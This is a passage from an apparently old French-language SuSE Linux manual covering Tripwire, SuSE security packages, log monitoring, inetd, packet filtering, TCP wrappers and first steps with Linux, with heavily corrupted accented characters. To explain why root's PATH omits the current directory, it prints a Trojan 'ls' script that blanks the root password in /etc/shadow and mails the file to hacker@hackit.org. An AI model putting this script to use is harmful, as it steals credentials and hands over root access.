Le fonctionnement de ce programme est en principe plut⌠t simple. Il fait
des recherches dans le systΦme et stocke les informations dans une base de
donnΘes. Vous pouvez prΘciser, α l'aide d'un fichier de configuration, quels
fichiers et rΘpertoires doivent Ωtre contr⌠lΘs et quelles informations doivent
Ωtre vΘrifiΘes.
Tripwire ne recherche ni les fichiers infectΘs ni les erreurs dans le systΦme.
Il crΘe simplement une base de donnΘes pour un systΦme qu'il suppose Ωtre
``sain''. Pour cette raison, la base de donnΘes devrait Ωtre crΘΘe immΘdiatement
_____________________________________________5
CERT = Computer Emergency Response Team, voir http://www.cert.dfn.de/dfncert/
info.html.
472
_________________________________________________________________________________________________________________18.2.__Outi*
*ls____________________
aprΦs l'installation d'un systΦme, de prΘfΘrence avant que la machine ne soit
connectΘe au rΘseau. Une base de donnΘes est crΘΘe α l'aide de la commande
suivante :
root@terre:root > /var/adm/tripwire/bin/tripwire -init
Le tableau 18.1 indique les chemins d'accΦs α la base de donnΘes et au fichier
de configuration qui ont ΘtΘ compilΘs dans le paquetage tripwire de SuSE
Linux.
_______________________________________________________________________________________________________________________
/var/adm/tripwire Base de donnΘes et fichier de configuration
databases Ce fichier est crΘΘ automatiquement. Il sert
α abriter temporairement les bases de don-
nΘes nouvellement crΘΘes. Elles doivent en-
suite Ωtre copiΘes manuellement α l'empla-
cement qui convient.
/var/adm/tripwire/ Fichier de configuration
tw.config
/var/adm/tripwire/db Emplacement de la base de donnΘes
_______________________________________________________________________________________________________________________
Tab. 18.1: Chemins d'accΦs compilΘs pour Tripwire
Les chemins d'accΦs ont ΘtΘ choisis en tenant compte du fait que seul le super-
utilisateur est autorisΘ α lire son rΘpertoire personnel /root. Pour bien faire,
la base de donnΘes devrait se trouver sur un systΦme de fichiers auquel on ne
peut accΘder qu'en lecture seule, par exemple une disquette protΘgΘe contre
l'Θcriture, afin qu'un attaquant parvenu α accΘder au systΦme ne puisse pas
camoufler ses manipulations en modifiant la base de donnΘes.
Vous trouverez un exemple de configuration pour Tripwire sous /usr/doc/
packages/tripwire/tw.conf.example.linux. Vous pourrez obtenir des
informations sur la syntaxe et les caractΘristiques de ce fichier de configu-
ration dans la page de man relative α tw.config. Pour les diffΘrents fi-
chiers, vous pouvez employer diffΘrentes mΘthodes d'obtention de la somme
de contr⌠le. Vous pouvez en outre prΘciser quelles informations d'un fichier
ou d'un rΘpertoire devront Ωtre stockΘes.
AprΦs avoir crΘΘ votre fichier de configuration individuel, vous pouvez faire
tourner tripwire rΘguliΦrement, par exemple sous forme d'un job cron.
Outils de sΘcuritΘ SuSE
SuSE Linux dispose maintenant de quatre programmes de sΘcuritΘ qui lui sont
propres et qui vous aident d'une part α rendre votre systΦme plus s√r et d'autre
part α le contr⌠ler : Le paquetage firewals, sΘrie sec (Logiciels relatifs α la
sΘcuritΘ du systΦme) contient le script /usr/sbin/SuSEfirewall qui lit le
fichier de configuration /etc/rc.firewall et gΘnΦre ensuite des listes de
restrictives de filtres au moyen de ipchains . Vous trouverez plus de dΘtails au
paragraphe 18.2.2 page 475 concernant les outils rΘseau.
Le paquetage secchk, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
contient deux petits scripts qui effectuent des contr⌠les de sΘcuritΘ du systΦme
*
* 473
18. La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
*_______________________________________@
α un rythme quotidien, hebdomadaire et mensuel (par exemple cohΘrence du
fichier de mots de passe, donnΘes utilisateurs, possibilitΘ de casser les mots
de passe, modules en fonctionnement) et avertissent l'administrateur systΦme
lors de modifications.
Le paquetage hardsuse, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
contient le script Perl /usr/sbin/harden`suse dΘveloppΘ pour fournir aux ad-
ministrateurs un programme simple α utiliser leur permettant d'accroεtre la
sΘcuritΘ de leur systΦme. AprΦs le dΘmarrage, il vous sera posΘ neuf questions
auxquelles vous devrez rΘpondre par oui ou par non (par exemple dΘsactiva-
tion de tous les services, accroissement de la sΘcuritΘ utilisateurs ou rΘduction
du nombre des fichiers suid et sgid). Votre systΦme sera alors reconfigurΘ en
fonction de vos rΘponses. Dans /etc/harden_suse.log, vous trouverez un
fichier de trace contenant les modifications et il sera en outre crΘe des copies
de sauvegarde des fichiers modifiΘs. Si votre systΦme devait ensuite se com-
porter d'une maniΦre imprΘvue, faites annuler ces modifications au moyen de
/etc/undo`harden`suse .
Le paquetage scslog, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
contient un module du noyau qui aprΦs son chargement (que vous pouvez
automatiser par une entrΘe par exemple dans les fichiers Startup) enregistre
toutes les communications rΘseau entrantes et sortantes.
Le paquetage secumod, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
contient un autre module qui Θvite ou rend plus difficiles les attaques dont
votre systΦme pourrait Ωtre la cible. Ceci inclut la protection contre les at-
taques visant les liens symboliques, les liens physiques et les pipes, les pro-
cessus dont la trace des appels systΦme ne peut plus Ωtre affichΘe (par strace )
et d'autres choses encore. Comme ce paquetage est trΦs rΘcent et que sa do-
cumentation n'Θtait pas encore complΦte au moment de la mise sous presse
du prΘsent manuel, nous vous demandons de bien vouloir jeter un coup d'oeil
sur la documentation aujourd'hui disponible.
D'autres outils sont dΘjα en prΘparation.
Surfer parmi les fichiers de trace
Les fichiers dans lesquels le systΦme et les diffΘrents programmes Θcrivent
des donnΘes constituent une excellente source d'information. Il est question
ici des fichiers de trace ou fichiers log. Il est conseillΘ de lire rΘguliΦrement
au moins l'un d'entre eux, α savoir /var/log/messages. Sous SuSE Linux,
c'est dans ce fichier que les programmes Θcrivent la plus grande partie des
informations.
Mais on n'a pas toujours le temps ni la motivation nΘcessaires pour fouiner
dans des fichiers dont la taille augmente continuellement. Il existe heureuse-
ment des programmes qui se chargent d'une bonne partie de ce travail ingrat.
L'un d'entre eux est logsurfer .
PilotΘ au moyen d'un fichier de configuration, logsurfer assure un contr⌠le
continu des fichiers de trace. On peut dΘfinir les actions qui doivent succΘder
α certains messages, comme par exemple l'envoi d'un mail ou le lancement
d'un programme externe.
474
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*ls____________________
Vous trouverez des exemples dans une trΦs bonne page de man de logsurfer.conf
(man 4 logsurfer.conf ).
La variable PATH et l'utilisateur `root' : : :
Vous avez certainement remarquΘ, en travaillant sous SuSE Linux en tant
qu'utilisateur `root', que le rΘpertoire courant n'est pas dans le chemin
d'accΦs. C'est la raison pour laquelle vous devez toujours faire prΘcΘder le
nom du programme α exΘcuter d'un point suivi d'une barre oblique (./).
L'exemple suivant montre clairement pourquoi SuSE Linux est configurΘ de
cette maniΦre :
~ Un utilisateur qui travaille sur votre systΦme crΘe le script de shell que
vous voyez dans le fichier 18.2.1.
_______________________________________________________________________________________________________________________||
||||||||#!/bin/sh |
|||||||| |
|||||||| |
||||||||cp /etc/shadow /etc/shadow.system |
||||||||cat /etc/shadow.system | \ |
|||||||| sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow |
|||||||| |
||||||||# rm -f /etc/shadow.system |
||||||||mailx hacker@hackit.org -s "Root Account hacked" < /etc/shadow |
|||||||| |
||||||||/bin/ls $* |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
fichier 18.2.1: Script de shell pour piratage du compte root
~ Il dΘplace ce script vers /tmp/ls.
~ Si `root' change maintenant de rΘpertoire (commande cd) et s'il a insΘrΘ
le rΘpertoire courant ~ dans ce cas /tmp ~ devant /bin dans la variable
PATH, le script en question sera exΘcutΘ α la place de /bin/ls. Ceci
entraεnera la suppression du mot de passe root et l'utilisateur recevra un
message lui faisant savoir qu'il a maintenant un compte root sans mot
de passe sur votre machine. Ce n'est vraiment pas une perspective bien
plaisante ;-)
Si le rΘpertoire courant ne s'Θtait pas trouvΘ dans le chemin d'accΦs, il vous
aurait fallu entrer ./ls pour exΘcuter le script. Il est α noter qu'il s'agit ici
d'un ``cheval de Troie'' (voir page 469).
18.2.2 Outils rΘseau
Il est sans aucun doute judicieux et mΩme impΘratif de contr⌠ler une machine
en rΘseau. Nous allons maintenant exposer ce qu'il faut faire pour protΘger
une machine Linux contre des attaques venant du rΘseau.
inetd
La mesure de sΘcuritΘ la plus ΘlΘmentaire consiste α faire preuve de pru-
dence en activant les services (ports) mis α disposition par inetd (le ``super
serveur'' Internet ). Sous SuSE Linux, quelques uns des services ``dangereux''
sont dΘsactivΘs par dΘfaut. Il s'agit ici des ``internal services'' du dΘmon inetd .
*
* 475
18. La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
*_______________________________________@
Le fichier de configuration se trouve sous /etc/inetd.conf. Mais les autres
services doivent aussi Ωtre activΘs ou dΘsactivΘs avec prudence. Nous vous re-
commandons vivement de jeter un coup d'oeil dans le fichier de configuration
car POP3, par exemple, ainsi que d'autres services sont activΘs par dΘfaut ! Le
fichier 18.2.2 montre une liste des services qui devraient Ωtre suffisants dans
la majeure partie des cas.
________________________________________________________________________________________________________*
*________||
|ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -a *
* |
|telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd *
* |
|shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L *
* |
|login stream tcp nowait root /usr/sbin/tcpd in.rlogind *
* |
| *
* |
|finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -w *
* |
|ident stream tcp wait nobody /usr/sbin/in.identd in.identd \ *
* |
| -w -e -t120 *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 18.2.2: Exemple typique de configuration pour inetd
Vous devriez toutefois vous demander si vous avez vraiment besoin de ser-
vices tels que telnet , shell et login . Ces services prΘsentent en effet l'incon-
vΘnient de permettre α un attaquant de lire la totalitΘ de vos donnΘes y compris
votre mot de passe. Il n'est mΩme pas nΘcessaire pour cela de possΘder des
connaissances trΦs poussΘes car il existe des programmes qui se chargent de
ce travail. Vous devriez donc veiller tout particuliΦrement α ce qu'il ne soit
pas possible d'accΘder α distance α votre machine sous le compte `root'.
Pour cette raison, nous attirons encore une fois votre attention sur le ``Secure
Shell'' (paquetage ssh) Si vous utilisez ssh , la totalitΘ du message transmis
sera encryptΘe, y compris le mot de passe (+ Encryptage).
Le Firewall SuSE
________________________________________________________________________________________________________*
*________
| Notre service d'Assistance Technique α l'Installation ne peut pas rΘpondre *
* |||
| *
* |||
| aux questions concernant le filtre de paquets Firewall SuSE . *
* |||
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*________|||_
Le filtre de paquets Firewall SuSE (paquetage firewals, sΘrie sec (logiciels
relatifs α la sΘcuritΘ du systΦme)) est activΘ et configurΘ au moyen du fichier
/etc/rc.firewall. Les diffΘrentes entrΘes sont documentΘes et commen-
tΘes dans le fichier. Afin de vous permettre un bon dΘbut mΩme si vous avez
encore peu d'expΘrience, nous allons expliciter certains dΘtails fondamentaux
concernant la mise en oeuvre du filtre de paquets Firewall SuSE .
La famille de protocoles utilisΘe pour les communications Internet est connue
sous le nom de ``TCP/IP''. Les acronymes TCP/IP signifient Transmission
Control Protocol et Internet Protocol. └ l'heure actuelle, TCP/IP est dispo-
nible pour presque toutes les plates-formes matΘrielles, systΦmes d'exploita-
tion et rΘseaux. Il a ΘtΘ dΘveloppΘ par le MinistΦre amΘricain de la DΘfense
(United States Department of Defence - DoD) et prΘsentΘ pour la premiΦre
fois au public en 1978.
Un rΘseau TCP/IP permet l'Θchange d'informations entre diffΘrents sys-
tΦmes d'ordinateurs. Il rassemble les donnΘes en paquets, appelΘs aussi
datagrammes, et achemine ensuite ces paquets. Chaque paquet commence
476
_________________________________________________________________________________________________________________18.2.__Outi*
*ls____________________
par un en-tΩte qui contient diffΘrentes informations telles que, par exemple,
l'adresse de la machine de destination. Cet en-tΩte est suivi des donnΘes
α transmettre. Dans le cas, par exemple, ou un fichier doit Ωtre transportΘ
d'une machine vers une autre α travers le rΘseau, le contenu de ce fichier
est transformΘ en une sΘrie de paquets qui sont envoyΘs α la machine de
destination.
C'est le protocole TCP (angl. Transmission Control Protocol) qui assure une
transmission sans erreurs des paquets. Ce protocole veille par exemple α ce
que les paquets parviennent au destinataire dans un ordre exact. TCP consti-
tue la couche de transport et signale α la couche IP supΘrieure les erreurs
auxquelles il n'est pas possible de remΘdier. Un autre protocole de transport
de cette famille est UDP. Ce protocole ne garantit pas une transmission sans
erreurs des paquets, ce qui le rend plus rapide que TCP. Mais lorsqu'on utilise
UDP il doit Ωtre garanti d'une autre maniΦre (par l'application) que les erreurs
de transmission seront reconnues et corrigΘes.
Une adresse IP (IP version 4) est une valeur de 32 bits. Pour rendre les
adresses IP plus facilement lisibles, on les Θcrit en portions dΘcimales de 8 bits
sΘparΘes par des points (par exemple 192.168.0.20). Afin qu'une machine
puisse gΘrer simultanΘment plusieurs connexions et qu'il soit possible de
diffΘrencier ces connexions les unes des autres, la communication a lieu α
travers des ports (de 0 α 65535). Il est assignΘ des connexions α ces ports,
ce qui signifie que l'on inscrit dans l'en-tΩte d'un paquet TCP ou UDP non
seulement l'adresse de la machine expΘditrice (adresse source) et l'adresse
de la machine destinataire (adresse de destination) mais aussi le port source
et le port de destination. Une partie des ports de 0 α 65535 est par dΘfinition
rΘservΘe α certains services (voir /etc/services).
Le port TCP 23 est par exemple rΘservΘ aux connexions telnet. Une autre rΘ-
servation concerne les ports de 0 α 1023 (TCP et UDP). Il s'agit de ce que l'on
appelle les ports privilΘgiΘs. C'est sur ces ports que les programmes rΘputΘs
dignes de confiance, souvent exΘcutΘs avec les privilΦges de l'administrateur
systΦme (droits `root'), offrent leurs services (voir /etc/services).
Les ports de 1024 α 65535 sont considΘrΘs comme Θtant des ports non privilΘ-
giΘs. Cette diffΘrence peut Ωtre illustrΘe par un exemple quelque peu simplifiΘ.
Un serveur FTP propose ses services sur le port TCP 21. Si un client FTP est
dΘmarrΘ sur la machine avec l'adresse IP 192.168.3.5 (client) par la com-
mande
tux@terre:/home/tux > ftp 192.168.3.16
le client Θtablira une connexion TCP avec le port 21 de la machine avec
l'adresse IP 192.168.3.16 (serveur). Sur le port 21, le serveur FTP rΘpondra
et exΘcutera la procΘdure d'identification de l'utilisateur (demande du nom de
login et du mot de passe). Les commandes FTP lancΘes par l'utilisateur aprΦs
le login seront Θgalement transmises α travers cette connexion. Si des donnΘes
doivent Ωtre transmises du serveur au client (aprΦs entrΘe de la commande
ls ou de la commande get ), le serveur Θtablira de lui-mΩme une connexion
avec un port non privilΘgiΘ du client. C'est par cette connexion que seront
transmises les donnΘes proprement dites.
*
* 477
18. La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
*_______________________________________@
TCP/IP a ΘtΘ conτu pour des rΘseaux de trΦs grande taille et inclut de ce fait
des mΘcanismes de structuration d'un rΘseau. La totalitΘ de la zone d'adresses
de 32 bits peut Ωtre subdivisΘe en ``sous-rΘseaux''. La formation des sous-
rΘseaux se fait en dΘclarant qu'un certain nombre de bits (en commenτant par
la gauche) constituent l'adresse d'un sous-rΘseau. Dans un sous-rΘseau ayant
l'adresse 192.168.3.0 , les 24 premiers bits constituent l'adresse rΘseau.
Le masque de sous-rΘseau 255.255.255.0 dΘtermine par exemple que la
machine dont l'adresse est 192.168.3.5 se trouve dans le sous-rΘseau avec
l'adresse 192.168.3.0 .
└ l'intΘrieur d'un grand rΘseau, les sous-rΘseaux sont gΘnΘralement reliΘs par
des routeurs. Les routeurs sont soit des pΘriphΘriques spΘcialisΘs, soit des ma-
chines spΘcialement ΘquipΘes qui veillent α ce que les paquets prennent le bon
chemin et arrivent bien α destination. Le pendant du masque de sous-rΘseau
est l'adresse de diffusion (angl. broadcast). Cette adresse de diffusion permet
de contacter toutes les machines d'un sous-rΘseau. Exemple : Toutes les ma-
chines du rΘseau 192.168.3.0 peuvent Ωtre contactΘes α travers l'adresse de
diffusion 192.168.3.255 .
Si votre raccordement α Internet est rΘalisΘ, votre machine est devenue un
ΘlΘment de ce grand rΘseau mondial. DΦs que la connexion au fournisseur
d'accΦs est activΘe, celui-ci est accessible α partir d'Internet. Il s'agit donc
maintenant de prendre les mesures nΘcessaires pour parer α des accΦs non
autorisΘs.|Cette tΓche est assumΘe par le filtre de paquets Firewall SuSE . *
* |
________________________________________________________________________________________________________*
*________||||
| *
* |||
| Les filtres de paquets sont des pare-feu (angl. firewalls) de niveau rΘseau. *
* |||
| Ils prennent leurs dΘcisions en se basant par principe sur les adresses *
* |||
| *
* |||
| sources, les adresses de destinations et les ports dans les diffΘrents pa- *
* |||
| quets IP. Un simple routeur ou le filtre de paquets Firewall SuSE sont *
* |||
| *
* |||
| des pare-feu traditionnels de niveau rΘseau. Comme il ne sont pas assez *
* |||
| *
* |||
| intelligents pour juger de l'importance que peut avoir le contenu d'un *
* |||
| paquet IP ni pour en dΘterminer la provenance exacte, ils n'offrent pas *
* |||
| *
* |||
| une protection absolument complΦte contre les attaques. Certains pare- *
* |||
| feu rΘseau modernes pour Linux (tel que par exemple SINUS Firewall I , *
* |||
| *
* |||
| http://www.sinusfirewall.org) sont plus sophistiquΘs et recueillent *
* |||
| *
* |||
| des informations internes sur le statut des connexions qui passent par eux, *
* |||
| le contenu des flux de donnΘes, etc. Par contre, les pare-feu de niveau ap- *
* |||
| *
* |||
| plication (par exemple TIS Firewall Toolkit ) sont en gΘnΘral des machines *
* |||
| sur lesquelles tournent des serveurs proxy qui enregistrent et contr⌠lent *
* |||
| *
* |||
| soigneusement le trafic de donnΘes qui passe par eux. Comme les serveurs *
* |||
| proxy sont des programmes qui tournent sur le pare-feu, ils se prΩtent de fa- *
* |||
| *
* |||
| τon idΘale aux tΓches d'enregistrement et de protection contre les attaques. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
O∙ mettre en oeuvre le filtre de paquets Firewall SuSE ? Pour les rΘ-
seaux qui requiΦrent une norme de protection particuliΦrement ΘlevΘe (c'est
en fait le cas partout o∙ des donnΘes de caractΦre personnel sont stockΘes), ce
sont les pare-feu de niveau application qui, de par leur principe de fonction-
nement, constituent le meilleur choix. Pour de tels rΘseaux, le filtre de paquets
Firewall SuSE n'offre pas une protection suffisante.
478
_________________________________________________________________________________________________________________18.2.__Outi*
*ls____________________
Le filtre de paquets Firewall SuSE a ΘtΘ conτu pour assurer la protection d'un
PC privΘ, d'un mini-rΘseau domestique ou d'une station de travail dans un
environnement rΘseau digne de confiance.
Pour la protection d'un rΘseau d'entreprise, vous ne devriez utiliser le filtre de
paquets Firewall SuSE que si vous savez exactement ce que vous faites (voir
la bibliographie).
La mise en place et la maintenance de pare-feu requiΦrent des connaissances
approfondies dans le domaine des rΘseaux et des protocoles rΘseau. Une in-
terface graphique ou une configuration prΘdΘfinie comme le filtre de paquets
Firewall SuSE ne peuvent pas remplacer ces connaissances absolument indis-
pensables.
Vous trouverez la documentation concernant le filtre de paquet Firewall SuSE
dans /usr/doc/packages/firewals et /etc/rc.firewall.
Le projet Freefire, auquel vous pouvez vous adresser, constitue une bonne
source d'informations pour tous ceux qui s'intΘressent aux firewalls
sur la base des logiciels libre (http://sites.inka.de/sites/lina/
freefire-l/index.en.html).
Le TCP-Wrapper
Le TCP-Wrapper (tcpd ) permet d'accorder l'accΦs α certains services pour
des rΘseaux ou adresses IP dΘterminΘs. tcpd est dΘjα inclus dans SuSE Linux
comme vous pouvez le voir dans le fichier 18.2.2 page 476 ainsi que dans
/etc/inetd.conf α la 6Φme colonne. Le concept est trΦs simple : tcpd lance
les services demandΘs aprΦs avoir contr⌠lΘ si le client est autorisΘ α y accΘder.
Ce contr⌠le d'accΦs est gΘrΘ par les deux fichiers /etc/hosts.allow et
/etc/hosts.deny.
~ L'accΦs est accordΘ si la combinaison client/service se trouve dans le
fichier /etc/hosts.allow.
~ L'accΦs est refusΘ si cette combinaison se trouve dans le fichier /etc/
hosts.deny.
~ S'il n'existe aucune rΦgle ni dans l'un ni dans l'autre des fichiers, l'accΦs
est accordΘ.
_______________________________________________________________________________________________________________________||
|||||||| La premiΦre rΦgle trouvΘe est mise en application. Cela signifie que si ||| |
|||||||| || |
|||||||| par exemple l'accΦs α un port Telnet est autorisΘ dans le fichier /etc/ || |
|||||||| hosts.allow, l'accΦs sera accordΘ mΩme s'il est refusΘ dans le fichier || |
|||||||| || |
|||||||| /etc/hosts.deny. || |
||||||||_______________________________________________________________________________________________________________||_
Dans la page de man de hosts_access (man 5 hosts_access ), vous trou-
verez une description de la syntaxe de ces fichiers.
Une alternative α la combinaison TCP-Wrapper/inetd est constituΘe par xi-
netd (paquetage xinetd, sΘrie n (support rΘseau)). qui rΘunit les fonctionna-
litΘs de inetd et tcpd . Il existe toutefois un inconvΘnient qui est l'incompati-
bilitΘ des fichiers de configuration inetd et xinetd .
*
* 479
18. La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| Il n'est possible de dΘmarrer que l'un des deux ``super-serveurs'' Internet. *
* |||
| *
* |||
| Vous devez donc vous dΘcider pour l'un ou pour l'autre. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Dans la sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme), vous trouve-
rez d'autres programmes qui vous aideront α construire un systΦme sΘcurisΘ.
Fouinez tout simplement parmi tous les paquetages de cette sΘrie.
18.3 SΘcuritΘ sous SuSE Linux
SuSE propose les services suivants dans le but de fournir une distribution qui
rΘponde le mieux possible aux critΦres de sΘcuritΘ :
Deux listes de diffusions ouvertes α tous :
~ suse-security-announce ~ contient les annonces SuSE relatives aux
questions de sΘcuritΘ.
~ suse-security ~ contient les annonces et accueille aussi des discus-
sions ouvertes α tous.
Pour vous abonner α l'une des deux listes de diffusion, il vous suffit d'adres-
ser un E-mail vide α suse-security-subscribe@suse.com ou α suse-security-
announce-subscribe@suse.com.
Centralisation des messages relatifs aux nouveaux problΦmes de sΘcu-
ritΘ :
Si vous rencontrez un nouveau problΦme de sΘcuritΘ (vΘrifiez auparavant les
mises α jour disponibles), envoyez α security@suse.de un E-mail dΘcrivant
ce problΦme. Nous le traiterons immΘdiatement. Vous pouvez encoder les
donnΘes avec le paquetage pgp (+ Encryptage). Notre public pgp key 6
peut Ωtre tΘlΘchargΘe sous http://www.suse.de/security
18.4 Informations d'ordre gΘnΘral
1. Le compte `root' ne devrait Ωtre utilisΘ que pour des tΓches relatives α
l'administration du systΦme. Pour le travail quotidien, il est recommandΘ
de crΘer un compte utilisateur.
2. ╔vitez d'utiliser telnet , rlogin et rsh .
3. Utilisez α la place ssh lorsque vous devez travailler α distance.
4. DΘsactivez tous les services rΘseau qui ne sont pas indispensables.
5. Mettez rΘguliΦrement α jour les paquetages qui jouent un r⌠le important
dans la sΘcuritΘ de votre systΦme, tels que le paquetage bind, le paquetage
sendmail et le paquetage ssh.
6. Supprimez, dans tous les fichiers du systΦme, les bits suid et sgid qui ne
sont pas absolument indispensables au travail d'un utilisateur normal.
7. VΘrifiez rΘguliΦrement vos fichiers de trace.
_____________________________________________6
PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5
480
Chapitre 19
DΘbuts sous Linux
Unix est un systΦme d'une telle complexitΘ que nous ne pouvons tenir compte
ici que de ses aspects essentiels. Le prΘsent manuel n'a pas ΘtΘ conτu pour
remplacer une documentation Linux ou Unix dΘjα existante. Ce n'est pas son
objectif et ce serait de toute faτon impossible.
Nous recommandons en tout cas aux utilisateurs de DOS qui veulent passer
α Linux de se procurer un manuel adΘquat. Vous trouverez des titres dans la
bibliographie en annexe. Si vous possΘdez dΘjα des livres sur Unix non spΘ-
cifiques α Linux, ils peuvent Θventuellement suffirent du fait que la majeure
partie des informations n'est pas strictement liΘe au systΦme.
Certains livres ou extraits de livres soumis aux termes de la GPL sont dispo-
nibles sous forme de fichiers .dvi ou fichiers PostScript dans le paquetage
doc, sΘrie books. Ils peuvent Ωtre visualisΘs sous X11 avec XDvi (xdvi ) ou
avec Ghostview (gv ) et peuvent Ωtre imprimΘs entiΦrement ou partiellement
avec lpr .
Mais en attendant d'avoir en mains votre livre Unix, vous devriez lire les
informations qui suivent. Elles vous donneront trΦs probablement envie d'ap-
profondir davantage.
En tant que nouveau venu sous Unix, vous devriez, aprΦs avoir menΘ votre
installation α bonne fin, vous connecter α votre systΦme sous le nom d'utili-
sateur que vous avez dΘfini lors de l'installation et non pas sous le compte
`root'. Non seulement parce que vous trouverez ainsi un bon nombre de
paramΦtres prΘdΘfinis qui vous faliciteront les dΘbuts mais aussi parce que
vous ne serez responsable que de votre + rΘpertoire personnel (angl. home
directory) ainsi qu'il est d'usage sous les systΦmes Unix. Cette mΘthode, qui
consiste α travailler sous un nom d'utilisateur, a pour but de garantir la sΘ-
curitΘ du systΦme. Le risque d'effacer ou de modifier par inadvertance des
fichiers importants pour le systΦme est pratiquement ΘliminΘ.
_______________________________________________________________________________________________________________________||
|||||||| L'option undelete disponible sous DOS n'existe pas (encore) sous Linux ||| |
|||||||| et vous serez Θventuellement obligΘ, si vous effacez ou modifiez involon- || |
|||||||| || |
|||||||| tairement un fichier, de procΘder α une nouvelle installation complΦte. || |
||||||||_______________________________________________________________________________________________________________||_
Les premiers pas sous Linux semblent parfois difficiles car un dΘbutant se
voit confrontΘ dΦs son premier contact avec Linux α la tΓche extrΩmement
complexe d'un administrateur systΦme.
*
* 481
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
19.1 Connexion au systΦme, utilisateur `root', crΘer un
compte utilisateur
Linux Θtant un systΦme d'exploitation multiutilisateur, vous devrez toujours
vous connecter sur la + console que vous souhaitez utiliser1 (voir para-
graphe 19.4 page 485). Cette procΘdure, qui est un ΘlΘment essentiel du
concept de sΘcuritΘ d'un systΦme multiutilisateur moderne, s'appelle login.
Elle garantit, entre autre, que chaque utilisateur dispose de son propre envi-
ronnement de travail et n'accΦde qu'α ses propres donnΘes. Vous devez donc
entrer votre nom d'utilisateur (par exemple `tux') et votre mot de passe
(par exemple xxxxxx , les caractΦres xxxxxx devant Ωtre remplacΘs par votre
propre mot de passe que vous vous Ωtes vous-mΩme attribuΘ !). Les caractΦres
xxxxxx ne sont pas affichΘs α l'Θcran._Entrez-les simplement les uns aprΦs
les autres et appuyez ensuite sur |E_________|ntrΘe2:
login: tux |__________|EntrΘe
Password: xxxxxx |__________|EntrΘe
Si vous avez rΘussi α vous connecter, vous vous trouvez dans votre rΘpertoire
personnel (par exemple /home/tux pour l'utilisateur `tux').
Si vous voulez quitter la console (vous dΘconnecter du systΦme) vous devez
entrer logout ou exit .
L'utilisateur `root' agit en tant qu'+ administrateur systΦme et il a vraiment
TOUS les droits. Les fichiers systΦme cruciaux ne peuvent Ωtre manipulΘs
que par `root'. Vous ne devez donc vous connecter sous le compte `root'
que si vous avez vraiment l'intention de tirer parti de ces possibilitΘs. Sinon
connectez-vous comme simple utilisateur afin de protΘger votre systΦme de
modifications que vous pourriez faire par inadvertance et qui vous oblige-
raient Θventuellement α procΘder α une nouvelle installation.
Voici certaines choses qui ne sont permises qu'α l'utilisateur `root' :
~ + Montage de systΦmes de fichiers tels que CD et disquettes et par voie
de consΘquence installation de logiciels. Ce droit peut aussi Ωtre accordΘ
α tout autre utilisateur par l'option user ajoutΘe au pΘriphΘrique corres-
pondant dans /etc/fstab (paragraphe 19.11.2 page 500).
~ Ajout et suppression d'utilisateurs (paragraphe 3.6.7 page 111).
~ Installation d'un nouveau noyau (chapitre 13 page 359).
~ Configuration du systΦme.
~ ArrΩt du systΦme (paragraphe 19.2 page suivante).
~ Lancement de YaST (chapitre 3 page 81).
_____________________________________________1
Si vous avez configurΘ un login graphique (voir paragraphe 3.6.5 page 109), la procΘdure que
nous allons dΘcrire sera bien s√r valable aussi dans ce cas !
2 Si vous n'avez pas de mot de passe, tapez simplement |__________|EntrΘeau dΘbut !
482
____________________________________________________________________________19.2.__ArrΩt_du_systΦme_et_amorτage_____________*
*______________________
19.2 ArrΩt du systΦme et amorτage
_______________________________________________________________________________________________________________________
|||||||| || |
|||||||| IMPORTANT : Vous ne devez en aucun cas couper le courant pendant le || |
|||||||| || |
|||||||| fonctionnement de votre systΦme ou actionner le bouton de remise α zΘro || |
|||||||| (+ rΘinitialisation) sous peine d'endommager votre + systΦme de fichiers || |
|||||||| || |
|||||||| et de provoquer une perte de donnΘes. || |
||||||||_______________________________________________________________________________________________________________||_
Pour un arrΩt correct de votre machine (angl. shutdown), utilisez les com-
mandes que vous montre le tableau 19.1.
_______________________________________________________________________________________________________________________
shutdown -h now arrΩte le systΦme (lorsque vous voyez affichΘ α
l'Θcran : "the system is halted", vous pou-
vez arrΩter sans aucun risque)
shutdown -r now redΘmarre immΘdiatement le systΦme aprΦs l'arrΩt
_______________________________________________________________________________________________________________________
Tab. 19.1: Commandes pour l'arrΩt du systΦme Linux
La commande shutdown dans toutes ses variantes ne peut gΘnΘralement Ωtre
exΘcutΘe que par l'utilisateur `root'.
Pour arrΩter votre systΦme, vous devez donc vous connecter sous le compte
`root' et lancer la commande shutdown -h now ou la commande
shutdown -r now .
Mais vous avez aussi l'alternative, comme cela se fait sous_DOS,_d'effectuer_ _______
un redΘmarrage_en_utilisant_la combinaison_de touches |C______|trl+ |A____l|t+ |S_______u|ppr
( Ctrl ||||||||__+ |A____l|t+ |D____e|l). Comme cette combinaison de touches ne fonctionne
pas sous X, vous devrez tout d'abord quitter X. Cette mΘthode peut toutefois
Ωtre employΘe par n'importe quel utilisateur dans la console texte.
19.3 Commandes et lignes de commandes
Bien que le systΦme Linux soit de plus en plus accueillant et convivial grΓce
par exemple aux programmes pilotΘs par menu, il est souvent indispensable,
en cas de catastrophe ou s'il n'existe pas de tels programmes pour rΘaliser
certaines tΓches particuliΦres, d'avoir recours aux commandes Unix.
Que sont les commandes Unix ?
Les commandes Unix sont
~ des programmes exΘcutables
~ des scripts shell (fichiers de commandes)
